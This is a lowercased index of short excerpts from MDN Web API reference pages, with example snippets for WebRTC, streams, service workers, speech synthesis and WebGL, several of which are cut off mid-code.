plicount an integer specifying the number of times the remote receiver has notified this rtcrtpsender that some amount of encoded video data for one or more frames has been lost, using picture loss indication (pli) packets.
RTCPeerConnection.close() - Web APIs
example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); pc.close(); // we decided to close after the first received message }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time...
RTCPeerConnection.getReceivers() - Web APIs
each rtp receiver manages the reception and decoding of data for a mediastreamtrack on an rtcpeerconnection syntax var receivers = rtcpeerconnection.getreceivers(); return value an array of rtcrtpreceiver objects, one for each track on the connection.
RTCPeerConnection.getTransceivers() - Web APIs
the rtcpeerconnection interface's gettransceivers() method returns a list of the rtcrtptransceiver objects being used to send and receive data on the connection.
RTCPeerConnectionIceEvent - Web APIs
there is no specific rtcdatachannelevent method.
RTCRemoteOutboundRtpStreamStats - Web APIs
usage notes the rtcremoteoutboundrtpstreamstats object's remotetimestamp proeprty provides statistics based on the received data's ntp timestamp taken from an rtcp sender report (sr) block.
RTCRtpEncodingParameters - Web APIs
that is, for rtp senders, the encoding is currently being used to send data, while for receivers, the encoding is being used to decode received data.
RTCRtpReceiver.getContributingSources() - Web APIs
each instance describes one of the contributing sources that provided data to the incoming stream in the past ten seconds.
RTCRtpReceiver.getSynchronizationSources() - Web APIs
each instance describes one of the synchronization sources that provided data to the incoming stream in the past ten seconds.
RTCRtpReceiver.transport - Web APIs
this transport is responsible for receiving the data for the media on the receiver's track.
RTCRtpSendParameters.encodings - Web APIs
that is, for rtp senders, the encoding is currently being used to send data, while for receivers, the encoding is being used to decode received data.
RTCRtpSender.transport - Web APIs
this transport is responsible for receiving the data for the media on the sender's track.
RTCRtpStreamStats.codecId - Web APIs
the rtcrtpstreamstats dictionary's codecid property is a string which uniquely identifies the object that was inspected to produce the data in the rtccodecstats for the rtp stream.
RTCRtpTransceiver.sender - Web APIs
the read-only sender property of webrtc's rtcrtptransceiver interface indicates the rtcrtpsender responsible for encoding and sending outgoing media data for the transceiver's stream.
RTCRtpTransceiver.stopped - Web APIs
syntax var isstopped = rtcrtptransceiver.stopped; value a boolean value which is true if the transceiver's sender will no longer send data, and its receiver will no longer receive data.
RTCSctpTransport.state - Web APIs
connected the connection is open for data transmission.
RTCSessionDescription - Web APIs
example signalingchannel.onmessage = function (evt) { if (!pc) start(false); var message = json.parse(evt.data); if (message.sdp) pc.setremotedescription(new rtcsessiondescription(message), function () { // if we received an offer, we need to answer if (pc.remotedescription.type == "offer") pc.createanswer(localdesccreated, logerror); }, logerror); else pc.addicecandidate(new rtcicecandidate(message.candidate), function ()...
RTCStats.id - Web APIs
WebAPIRTCStatsid
using the id, you can correlate two or more rtcstats-based objects in order to monitor statistics over time for a given webrtc object, such as an rtp stream, an rtcpeerconnection, or an rtcdatachannel.
RTCStats - Web APIs
WebAPIRTCStats
the rtcstats dictionary is the basic statistics object used by webrtc's statistics monitoring model, providing the properties required of all statistics data objects.
RTCTrackEvent.receiver - Web APIs
the read-only receiver property of the rtctrackevent interface indicates the rtcrtpreceiver which is used to receive data containing media for the track to which the event refers.
Range.comparePoint() - Web APIs
if the reference node is a node of type text, comment, or cdatasection, then offset is the number of characters from the start of reference node.
Range.endOffset - Web APIs
WebAPIRangeendOffset
if the endcontainer is a node of type text, comment, or cdatasection, then the offset is the number of characters from the start of the endcontainer to the boundary point of the range.
Range.setEnd() - Web APIs
WebAPIRangesetEnd
usage notes if the endnode is a node of type text, comment, or cdatasection, then endoffset is the number of characters from the start of endnode.
Range.setStart() - Web APIs
WebAPIRangesetStart
if the startnode is a node of type text, comment, or cdatasection, then startoffset is the number of characters from the start of startnode.
Range.startOffset - Web APIs
WebAPIRangestartOffset
if the startcontainer is a node of type text, comment, or cdatasection, then the offset is the number of characters from the start of the startcontainer to the boundary point of the range.
ReadableStream.ReadableStream() - Web APIs
when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
ReadableStreamBYOBReader - Web APIs
the readablestreambyobreader interface of the streams api represents a byob ("bring your own buffer") reader that can be used to read stream data supplied by the developer (e.g.
ReadableStreamBYOBRequest.view - Web APIs
syntax var view = readablestreambyobrequestinstance.view; value a typed array representing the destination region to which the controller can write generated data.
ReadableStreamBYOBRequest - Web APIs
a view, as mentioned below, refers to a typed array representing the destination region to which the associated readablebytestreamcontroller controller can write generated data.
ReadableStreamDefaultController.close() - Web APIs
when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
ReadableStreamDefaultController.enqueue() - Web APIs
when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
ReadableStreamDefaultController - Web APIs
when a button is pressed, the generation is stopped, the stream is closed using readablestreamdefaultcontroller.close(), and another function is run, which reads the data back out of the stream.
Request() - Web APIs
WebAPIRequestRequest
body: any body that you want to add to your request: this can be a blob, buffersource, formdata, urlsearchparams, usvstring, or readablestream object.
Request.mode - Web APIs
WebAPIRequestmode
this ensures that serviceworkers do not affect the semantics of the web and prevents security and privacy issues arising from leaking data across domains.
ResizeObserverEntry.contentRect - Web APIs
this uses a simple feature detection test to see if the browser supports the newer resizeobserverentry.contentboxsize property — if so, it uses that to get the sizing data it needs.
ResizeObserverEntry - Web APIs
this uses a simple feature detection test to see if the browser supports the newer contentboxsize property — if so, it uses that to get the sizing data it needs.
Response() - Web APIs
WebAPIResponseResponse
this can be null (which is the default value), or one of: blob buffersource formdata readablestream urlsearchparams usvstring init optional an options object containing any custom settings that you want to apply to the response, or an empty object (which is the default value).
SVGAngle - Web APIs
WebAPISVGAngle
candidate recommendation adds the dataset property.
SVGNumber - Web APIs
WebAPISVGNumber
the svgnumber interface corresponds to the <number> basic data type.
Using the Screen Capture API - Web APIs
this is done for security reasons, as the content that cannot be seen by the user may contain data which they do not want to share.
Screen Wake Lock API - Web APIs
if you app is synchronizing data from a remote server, consider using background sync.
ScriptProcessorNode: audioprocess event - Web APIs
// the input buffer is a song we loaded earlier var inputbuffer = audioprocessingevent.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessingevent.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; channel < outputbuffer.numberofchannels; channel++) { var inputdata = inputbuffer.getchanneldata(channel); var outputdata = outputbuffer.getchanneldata(channel); // loop through the 4096 samples for (var sample = 0; sample < inputbuffer.length; sample++) { // make output equal to the same as the input outputdata[sample] = inputdata[sample]; // add noise to each output sample outputdata[sample] += ((math.random() * 2) - 1) * 0...
Sensor APIs - Web APIs
instead you'll use one of its subclasses to retrieve specific kinds of sensor data.
ServiceWorkerContainer.onmessage - Web APIs
} example navigator.serviceworker.onmessage = function(messageevent) { console.log(`received data: ${messageevent.data}`); } specifications specification status comment service workersthe definition of 'serviceworkercontainer: onmessage' in that specification.
ServiceWorkerGlobalScope: message event - Web APIs
// in the page being controlled if (navigator.serviceworker) { navigator.serviceworker.register('service-worker.js'); navigator.serviceworker.addeventlistener('message', event => { // event is a messageevent object console.log(`the service worker sent me a message: ${event.data}`); }); navigator.serviceworker.ready.then( registration => { registration.active.postmessage("hi service worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.sou...
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
consider using another method to synchronize subscription information between your service worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to exchange data fail.
ServiceWorkerGlobalScope - Web APIs
the service worker can optionally send a response back via the messageport exposed in event.data.port, corresponding to the controlled page.
ServiceWorkerMessageEvent.lastEventId - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.lasteventid); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.origin - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.origin); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.ports - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.ports); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerMessageEvent.source - Web APIs
// set up a message channel to communicate with the sw var channel = new messagechannel(); channel.port1.onmessage = function(e) { console.log(e.source); handlechannelmessage(e.data); } mysw = reg.active; mysw.postmessage('hello', [channel.port2]); }); ...
ServiceWorkerRegistration.pushManager - Web APIs
examples this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
SourceBuffer.appendWindowEnd - Web APIs
the appendwindowend property of the sourcebuffer interface controls the timestamp for the end of the append window, a timestamp range that can be used to filter what media data is appended to the sourcebuffer.
SourceBuffer.appendWindowStart - Web APIs
the appendwindowstart property of the sourcebuffer interface controls the timestamp for the start of the append window, a timestamp range that can be used to filter what media data is appended to the sourcebuffer.
SourceBuffer.changeType() - Web APIs
the changetype() method of the sourcebuffer interface sets the mime type that future calls to appendbuffer() should expect the new media data to conform to.
SpeechRecognitionEvent.emma - Web APIs
if the speech recognition system does not supply emma data then the user agent will return null.
SpeechRecognitionEvent - Web APIs
the speechrecognitionevent interface of the web speech api represents the event object for the result and nomatch events, and contains all the data associated with an interim or final speech recognition result.
SpeechSynthesis.getVoices() - Web APIs
populatevoicelist() { if(typeof speechsynthesis === 'undefined') { return; } var voices = speechsynthesis.getvoices(); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); document.getelementbyid("voiceselect").appendchild(option); } } populatevoicelist(); if (typeof speechsynthesis !== 'undefined' && speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } html <select id="voiceselect"></select> specifications specif...
SpeechSynthesis.onvoiceschanged - Web APIs
var voices = []; function populatevoicelist() { voices = synth.getvoices(); for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } specifications specification status comment web speech apithe definition of 'onvoiceschanged' in that specification.
SpeechSynthesis.speak() - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speak()' in that specification.
SpeechSynthesisErrorEvent.error - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.error('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech a...
SpeechSynthesisErrorEvent - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech api...
SpeechSynthesisUtterance.SpeechSynthesisUtterance() - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance()' in that specification.
SpeechSynthesisUtterance.lang - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisUtterance.onboundary - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onboundary = function(event) { console.log(event.name + ' boundary reached after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment ...
SpeechSynthesisUtterance.onend - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onend = function(event) { console.log('utterance has finished being spoken after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment ...
SpeechSynthesisUtterance.onerror - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onerror = function(event) { console.log('an error has occurred with the speech synthesis: ' + event.error); } inputtxt.blur(); } specifications specification status comment web speech api...
SpeechSynthesisUtterance.onmark - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onmark = function(event) { console.log('a mark was reached: ' + event.name); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onmark' in t...
SpeechSynthesisUtterance.onpause - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe ...
SpeechSynthesisUtterance.onresume - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apith...
SpeechSynthesisUtterance.onstart - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } inputtxt.blur(); } specifications specification status comment web speech apith...
SpeechSynthesisUtterance.pitch - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.pitch = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'pitch' in that specification.
SpeechSynthesisUtterance.rate - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.rate = 1.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'rate' in that specification.
SpeechSynthesisUtterance.text - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } console.log(utterthis.text); synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'text' in that specification.
SpeechSynthesisUtterance.voice - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'voice' in that specification.
SpeechSynthesisUtterance.volume - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'volume' in that specification.
SpeechSynthesisVoice.default - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'default' in that specification.
SpeechSynthesisVoice.lang - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisVoice.localService - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].localservice); option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'localservice' in that specification.
SpeechSynthesisVoice.name - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'name' in that specification.
SpeechSynthesisVoice.voiceURI - Web APIs
examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } console.log(voices[i].voiceuri); // on mac, this returns urns, for example 'urn:moz-tts:osx:com.apple.speech.synthesis.voice.daniel' option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'voiceuri' in that specification.
StaticRange - Web APIs
if any changes are made to the dom, the actual data contained within the range specified by a staticrange may change.
Storage.clear() - Web APIs
WebAPIStorageclear
examples the following function creates three data entries in local storage, and then deletes them by using clear().
Storage.getItem() - Web APIs
WebAPIStoragegetItem
example the following function retrieves three data items from local storage, then uses them to set custom styles on a page.
Storage.removeItem() - Web APIs
example the following function creates three data items inside local storage, then removes the image data item.
StorageQuota.queryInfo - Web APIs
the queryinfo() property of the storagequota interface returns a storageinfo object containting the current data usage and available quota information for the application.
StorageQuota - Web APIs
methods storagequota.queryinfo returns a storageinfo object containting the current data usage and available quota information for the application.
Storage Access API - Web APIs
concepts and usage most browsers implement a number of storage access policies that restrict access to cookies and site data for embedded, cross-origin resources.
SubtleCrypto.exportKey() - Web APIs
syntax const result = crypto.subtle.exportkey(format, key); parameters format is a string value describing the data format in which the key should be exported.
SubtleCrypto.unwrapKey() - Web APIs
syntax const result = crypto.subtle.unwrapkey( format, wrappedkey, unwrappingkey, unwrapalgo, unwrappedkeyalgo, extractable, keyusages ); parameters format is a string describing the data format of the key to unwrap.
Text.isElementContentWhitespace - Web APIs
note: you may simply replace it with /\s+/.test(text.data), /\s+/.test(text.nodevalue), or /\s+/.test(text.textcontent).
Text.splitText() - Web APIs
WebAPITextsplitText
if the offset is equal to the length of the original node, the newly created node has no data.
TextTrack - Web APIs
WebAPITextTrack
texttrack.inbandmetadatatrackdispatchtype read only returns a domstring which indicates the track's in-band metadata track dispatch type.
Touch.clientX - Web APIs
WebAPITouchclientX
deltax = e.changedtouches[0].clientx - clientx; deltay = e.changedtouches[0].clienty - clienty; // process the data ...
Touch.clientY - Web APIs
WebAPITouchclientY
deltax = e.changedtouches[0].clientx - clientx; deltay = e.changedtouches[0].clienty - clienty; // process the data ...
TrackDefault.TrackDefault() - Web APIs
syntax var trackdefault = new trackdefault(type, language, label, kinds, bytestreamtrackid); parameters type a domstring specifying a media segment data type for the sourcebuffer to contain.
TrackDefault.type - Web APIs
WebAPITrackDefaulttype
the type read-only property of the trackdefault interface returns the type of track that this sourcebuffer's media segment data relates to (i.e.
TrackDefault - Web APIs
properties trackdefault.type read only returns the type of track that this sourcebuffer's media segment data relates to (i.e.
TransformStream - Web APIs
the transformstream interface of the streams api represents a set of transformable data.
TreeWalker.whatToShow - Web APIs
nodefilter.show_cdata_section 8 shows cdatasection nodes.
TreeWalker - Web APIs
nodefilter.show_cdata_section 8 shows cdatasection nodes.
TypeInfo - Web APIs
WebAPITypeInfo
the obsolete typeinfo interface was intended to be used to describe a dom data type by keying its name to a namespace within the document's schema.
USBDevice.controlTransferIn() - Web APIs
the actual data is in the usbintransferresult in the resolved promise.
USBIsochronousOutTransferPacket - Web APIs
it represents the status of an individual packet from a request to transfer data from the usb host to the usb device over an isochronous endpoint.
USBIsochronousOutTransferResult - Web APIs
it represents the result from requesting a transfer of data from the usb host to the usb device.
USBOutTransferResult - Web APIs
it represents the result from requesting a transfer of data from the usb host to the usb device.
User Timing API - Web APIs
see also user timing standard; w3c editor's draft caniuse data a primer for web performance timing apis; xiaoqian wu; w3c editor's draft ...
VRStageParameters - Web APIs
properties vrstageparameters.sittingtostandingtransform read only contains a matrix that transforms the sitting-space view matrices of vrframedata to standing-space.
VTTCue() - Web APIs
WebAPIVTTCueVTTCue
this is the time, given in seconds and fractions of a second, denoting the beginning of the range of the media data to which this cue applies.
ValidityState.typeMismatch - Web APIs
ail" value="example.com"/> </label> </p> <p> <label> enter a url: <input type="url" value="example.com"/> </label> </p> input:invalid { border: red solid 3px; } the above each produce a typemismatch because the email address is just a domain and the url has no protocol the typemismatch occurs when there is a disconnect between the value expected via the type attribute and the data that is actually present.
VideoTrack.kind - Web APIs
WebAPIVideoTrackkind
"" (empty string) the track doesn't have an explicit kind, or the kind provided by the track's metadata isn't recognized by the user agent.
VideoTrack.label - Web APIs
WebAPIVideoTracklabel
syntax var videotracklabel = videotrack.label; value a domstring specifying the track's human-readable label, if one is available in the track metadata.
WEBGL_compressed_texture_astc - Web APIs
stc_12x12_khr ext.compressed_srgb8_alpha8_astc_12x12_khr 12x12 0.89 floor((width + 11) / 12) * floor((height + 11) / 12) * 16 29584 examples var ext = gl.getextension('webgl_compressed_texture_astc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_astc_12x12_khr, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_astcthe definition of 'webgl_compressed_texture_astc' in that specification.
WEBGL_compressed_texture_atc - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_atc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_atc_webgl, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_atcthe definition of 'webgl_compressed_texture_atc' in that specification.
WEBGL_compressed_texture_pvrtc - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_pvrtc'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgb_pvrtc_4bppv1_img, 512, 512, 0, texturedata); specifications specification status comment webgl_compressed_texture_pvrtcthe definition of 'webgl_compressed_texture_pvrtc' in that specification.
WEBGL_compressed_texture_s3tc - Web APIs
examples var ext = ( gl.getextension('webgl_compressed_texture_s3tc') || gl.getextension('moz_webgl_compressed_texture_s3tc') || gl.getextension('webkit_webgl_compressed_texture_s3tc') ); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_rgba_s3tc_dxt5_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl_compressed_texture_s3tcthe definition of 'webgl_compressed_texture_s3tc' in that specification.
WEBGL_compressed_texture_s3tc_srgb - Web APIs
examples var ext = gl.getextension('webgl_compressed_texture_s3tc_srgb'); var texture = gl.createtexture(); gl.bindtexture(gl.texture_2d, texture); gl.compressedteximage2d(gl.texture_2d, 0, ext.compressed_srgb_s3tc_dxt1_ext, 512, 512, 0, texturedata); gl.texparameteri(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear); specifications specification status comment webgl_compressed_texture_s3tc_srgbthe definition of 'webgl_compressed_texture_s3tc_srgb' in that specification.
WEBGL_depth_texture - Web APIs
constants this extension adds a new constant: ext.unsigned_int_24_8_webgl unsigned integer type for 24-bit depth texture data.
WEBGL_draw_buffers.drawBuffersWEBGL() - Web APIs
ext.drawbufferswebgl([ ext.color_attachment0_webgl, // gl_fragdata[0] ext.color_attachment1_webgl, // gl_fragdata[1] ext.color_attachment2_webgl, // gl_fragdata[2] ext.color_attachment3_webgl // gl_fragdata[3] ]); specifications specification status comment webgl_draw_buffersthe definition of 'webgl_draw_buffers' in that specification.
WaveShaperNode.curve - Web APIs
syntax var audioctx = new audiocontext(); var distortion = audioctx.createwaveshaper(); distortion.curve = mycurvedataarray; // mycurvedataarray is a float32array value a float32array.
WebGL2RenderingContext.bindBufferRange() - Web APIs
size a glsizeiptr specifying the amount of data that can be read from the buffer.
WebGL2RenderingContext.drawArraysInstanced() - Web APIs
the webgl2renderingcontext.drawarraysinstanced() method of the webgl 2 api renders primitives from array data like the gl.drawarrays() method.
WebGL2RenderingContext.drawElementsInstanced() - Web APIs
the webgl2renderingcontext.drawelementsinstanced() method of the webgl 2 api renders primitives from array data like the gl.drawelements() method.
WebGL2RenderingContext.drawRangeElements() - Web APIs
the webgl2renderingcontext.drawrangeelements() method of the webgl api renders primitives from array data in a given range.
WebGL2RenderingContext.framebufferTextureLayer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGL2RenderingContext.getInternalformatParameter() - Web APIs
possible values: gl.renderbuffer: buffer data storage for single images in a renderable internal format.
WebGL2RenderingContext.getUniformBlockIndex() - Web APIs
examples // assuming a shader with the following declaration: // uniform ubodata { // mat4 foo; // } instancename; // use the block name, not the instance name: var blockindex = gl.getuniformblockindex(program, 'ubodata'); specifications specification status comment webgl 2.0the definition of 'getuniformblockindex' in that specification.
WebGL2RenderingContext.invalidateFramebuffer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
possible values: gl.framebuffer: collection buffer data storage of color, alpha, depth and stencil buffers used to render an image.
WebGLActiveInfo.name - Web APIs
the read-only webglactiveinfo.name property represents the name of the requested data returned by calling the getactiveattrib() or getactiveuniform() methods.
WebGLActiveInfo.size - Web APIs
the read-only webglactiveinfo.size property is a number representing the size of the requested data returned by calling the getactiveattrib() or getactiveuniform() methods.
WebGLActiveInfo.type - Web APIs
the read-only webglactiveinfo.type property represents the type of the requested data returned by calling the getactiveattrib() or getactiveuniform() methods.
WebGLBuffer - Web APIs
the webglbuffer interface is part of the webgl api and represents an opaque buffer object storing data such as vertices or colors.
